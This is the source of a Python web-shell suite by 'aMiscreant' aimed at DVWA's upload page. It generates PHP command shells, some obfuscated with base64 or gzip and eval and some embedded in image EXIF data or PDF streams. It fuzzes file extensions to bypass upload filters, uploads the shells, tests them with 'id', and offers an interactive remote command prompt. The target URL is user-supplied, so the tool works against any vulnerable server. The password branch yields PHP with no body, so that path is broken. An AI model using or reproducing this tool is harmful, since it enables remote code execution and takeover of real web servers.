DVWA Web-Shell Suite


  • Project layout
    webshell_suite.py
    shells.txt
    /payloads
    /utils
    - banner.py
    - colors.py

webshell_suite.py


#!/usr/bin/env python3
# webshell_suite.py
# aMiscreant
import base64
import datetime
import gzip
import os
from io import BytesIO
from urllib.parse import urlencode
from urllib.parse import urlparse, urlunparse

import requests

from utils.banner import print_banner
from utils.colors import green, red, yellow, cyan

# Default Payload Lists
FUZZ_LIST = [
    'php', 'php3', 'php4', 'php5', 'phtml', 'phar',
    'jpg.php', 'jpeg.php', 'png.php', 'gif.php', 'pdf.php',
    'php.', 'php.jpg', 'php.jpeg', 'php.png', 'php%2Ephp',
    'p.phphp', 'php%00.jpg', 'php%0d%0a.jpg', 'PHP', 'pHp',
    'php/', 'php//', 'php\\', 'php#', '..php'
]

# Default Fuzz Patterns
FUZZ_PATTERNS = {
    'soft': lambda: [f"shell.{ext}" for ext in FUZZ_LIST],
    'medium': lambda: [f"shell.{a}.{b}" for a in FUZZ_LIST for b in FUZZ_LIST],
    'hard': lambda: [f"{a}.{b}.{c}" for a in FUZZ_LIST for b in FUZZ_LIST for c in FUZZ_LIST],
}

SHELLS_FILE = "shells.txt"

def save_shells(shells):
    with open(SHELLS_FILE, "a") as f:
        for s in shells:
            f.write(s + "\n")

def load_shells():
    if not os.path.exists(SHELLS_FILE):
        return []
    with open(SHELLS_FILE, "r") as f:
        return [line.strip() for line in f if line.strip()]

def clean_payloads_dir():
    payload_dir = "payloads"
    if not os.path.exists(payload_dir):
        print(yellow("[*] Payloads directory does not exist. Nothing to clean."))
        return
    confirm = input(f"Are you sure you want to delete all payloads in {payload_dir}? [y/N]: ").strip().lower()
    if confirm == "y":
        for f in os.listdir(payload_dir):
            try:
                os.remove(os.path.join(payload_dir, f))
            except Exception as e:
                print(f"{red('[!]')} Failed to delete {f}: {e}")
        print(green("[+] Payloads cleaned."))
    else:
        print(yellow("[*] Cleanup aborted."))

def select_and_connect(shells):
    if not shells:
        print(red("[!] No shells to connect to."))
        return
    for i, url in enumerate(shells, 1):
        print(f"{i}. {url}")
    while True:
        try:
            choice = int(input("Select shell to connect to (number): "))
            if 1 <= choice <= len(shells):
                session = requests.Session()
                interactive_shell(shells[choice - 1], session, {})
                break
            else:
                print("Invalid choice.")
        except ValueError:
            print("Please enter a valid number.")

def strip_cmd_param(url):
    parsed = urlparse(url)
    return urlunparse(parsed._replace(query=""))

def timestamp():
    return datetime.datetime.now().strftime("[%H:%M:%S]")

def prompt_user_config():
    target = input("Target base URL (e.g. http://192.168.1.10/DVWA): ").strip()
    session_id = input("PHPSESSID (press enter to use default/insecure): ").strip() or "insecure-session"
    password = input("Set shell password (leave blank for none): ").strip()
    obfuscate = input("Obfuscate payload? [none/base64/gzip]: ").strip().lower() or "none"
    fuzz_level = input("Fuzz level [soft, medium, hard]: ").strip().lower() or "soft"
    return target, {"PHPSESSID": session_id, "security": "low"}, fuzz_level, password, obfuscate

def generate_payload(payload_type, dest_file, password=None, obfuscate=None):
    # Raw command logic
    if password:
        raw_code = f"if ($_GET['pass'] === '{password}') "
    else:
        raw_code = "system($_GET['cmd']);"

    php_code = f"<?php {raw_code} ?>"

    if obfuscate == "base64":
        encoded = base64.b64encode(raw_code.encode()).decode()
        php_code = f"<?php eval(base64_decode('{encoded}')); ?>"
    elif obfuscate == "gzip":
        buf = BytesIO()
        with gzip.GzipFile(fileobj=buf, mode='wb') as gz:
            gz.write(raw_code.encode())
        gzipped_b64 = base64.b64encode(buf.getvalue()).decode()
        php_code = f"<?php eval(gzinflate(gzdecode(base64_decode('{gzipped_b64}')))); ?>"

    # Save payload
    if payload_type == 'image':
        os.system(f"convert -size 32x32 xc:white {dest_file}")
        os.system(f"exiftool -Comment='{php_code}' -overwrite_original {dest_file}")
    elif payload_type == 'pdf':
        with open(dest_file, "wb") as f:
            f.write(b"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n")
            f.write(b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n")
            f.write(b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] ")
            f.write(b"/Contents 4 0 R >>\nendobj\n4 0 obj\n<< /Length 55 >>\nstream\n")
            f.write(php_code.encode())
            f.write(b"\nendstream\nendobj\ntrailer\n<< /Root 1 0 R >>\n%%EOF")
    else:
        with open(dest_file, "w") as f:
            f.write(php_code)

def upload_fuzzed_shells(target, cookie, fuzz_level, password, obfuscate):
    upload_url = f"{target}/vulnerabilities/upload/"
    shell_paths = FUZZ_PATTERNS.get(fuzz_level, FUZZ_PATTERNS['soft'])()
    print(f"{yellow(timestamp())} Fuzzing with {len(shell_paths)} shell variations...")

    session = requests.Session()
    active_shells = []

    for fname in shell_paths:
        try:
            payload_ext = fname.split('.')[-1]
            payload_path = os.path.join("payloads", fname)
            os.makedirs(os.path.dirname(payload_path), exist_ok=True)
            generate_payload(
                'pdf' if 'pdf' in payload_ext else 'image' if payload_ext in ['jpg', 'jpeg', 'png', 'gif'] else 'php',
                payload_path,
                password,
                obfuscate
            )

            files = {
                "MAX_FILE_SIZE": (None, "100000"),
                "uploaded": (fname, open(payload_path, "rb")),
                "Upload": (None, "Upload")
            }
            session.post(upload_url, cookies=cookie, files=files)
            shell_url = f"{target}/hackable/uploads/{fname}"
            if password:
                test_url = f"{shell_url}?pass={password}&cmd=id"
            else:
                test_url = f"{shell_url}?cmd=id"

            res = session.get(test_url, cookies=cookie)
            if "uid=" in res.text:
                print(f"{green('[+]')} Shell alive: {test_url}")
                active_shells.append(test_url)
            else:
                print(f"{red('[-]')} Shell dead: {test_url}")
        except Exception as e:
            print(f"{red('[!]')} Error uploading {fname}: {e}")
    return active_shells

def interactive_shell(shell_url, session, cookie):
    print(f"\n{green('[+]')} Connected to {shell_url}\n")

    parsed = urlparse(shell_url)
    base_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"

    params = dict()
    if "pass=" in parsed.query:
        for q in parsed.query.split("&"):
            k, v = q.split("=")
            params[k] = v

    while True:
        cmd = input(f"{cyan('$execute > ')}").strip()
        if cmd.lower() in ["exit", "quit"]:
            print(f"{yellow('[*]')} Exiting shell...\n")
            break
        if not cmd:
            continue
        try:
            params['cmd'] = cmd
            res = session.get(base_url + "?" + urlencode(params), cookies=cookie)
            print(res.text.strip())
        except Exception as e:
            print(f"{red('[!]')} Request failed: {e}")

def main_menu():
    os.system("clear")
    print_banner()
    while True:
        print(f"""{cyan('''
Main Menu:
  1. Launch new fuzz session
  2. View and connect to active shells
  3. Load saved shells
  4. Clean payloads directory
  5. Exit
''')}""")
        choice = input("Choose an option: ").strip()
        if choice == "1":
            target, cookie, fuzz_level, password, obfuscate = prompt_user_config()
            session = requests.Session()
            shells = upload_fuzzed_shells(target, cookie, fuzz_level, password, obfuscate)
            if shells:
                save_shells(shells)
        elif choice == "2":
            shells = load_shells()
            if not shells:
                print(red("[!] No saved shells found. Launch a fuzz session first."))
                continue
            select_and_connect(shells)
        elif choice == "3":
            shells = load_shells()
            select_and_connect(shells)
        elif choice == "4":
            clean_payloads_dir()
        elif choice == "5":
            print(yellow("[*] Goodbye!"))
            break
        else:
            print("Invalid option.")

def main():
    main_menu()

if __name__ == "__main__":
    main()


banner.py

# utils/banner.py

def print_banner():
    banner = r"""


 __      __      ___.     _________.__           .__  .__    _________     .__  __          
/  \    /  \ ____\_ |__  /   _____/|  |__   ____ |  | |  |  /   _____/__ __|__|/  |_  ____  
\   \/\/   // __ \| __ \ \_____  \ |  |  \_/ __ \|  | |  |  \_____  \|  |  \  \   __\/ __ \ 
 \        /\  ___/| \_\ \/        \|   Y  \  ___/|  |_|  |__/        \  |  /  ||  | \  ___/ 
  \__/\  /  \___  >___  /_______  /|___|  /\___  >____/____/_______  /____/|__||__|  \___  >
       \/       \/    \/        \/      \/     \/                  \/                    \/ 


                                WebShellSuite by aMiscreant 💀
    """
    print(f"\033[92m{banner}\033[0m")

colors.py

# utils/colors.py

def red(text): return f"\033[91m{text}\033[0m"
def green(text): return f"\033[92m{text}\033[0m"
def yellow(text): return f"\033[93m{text}\033[0m"
def cyan(text): return f"\033[96m{text}\033[0m"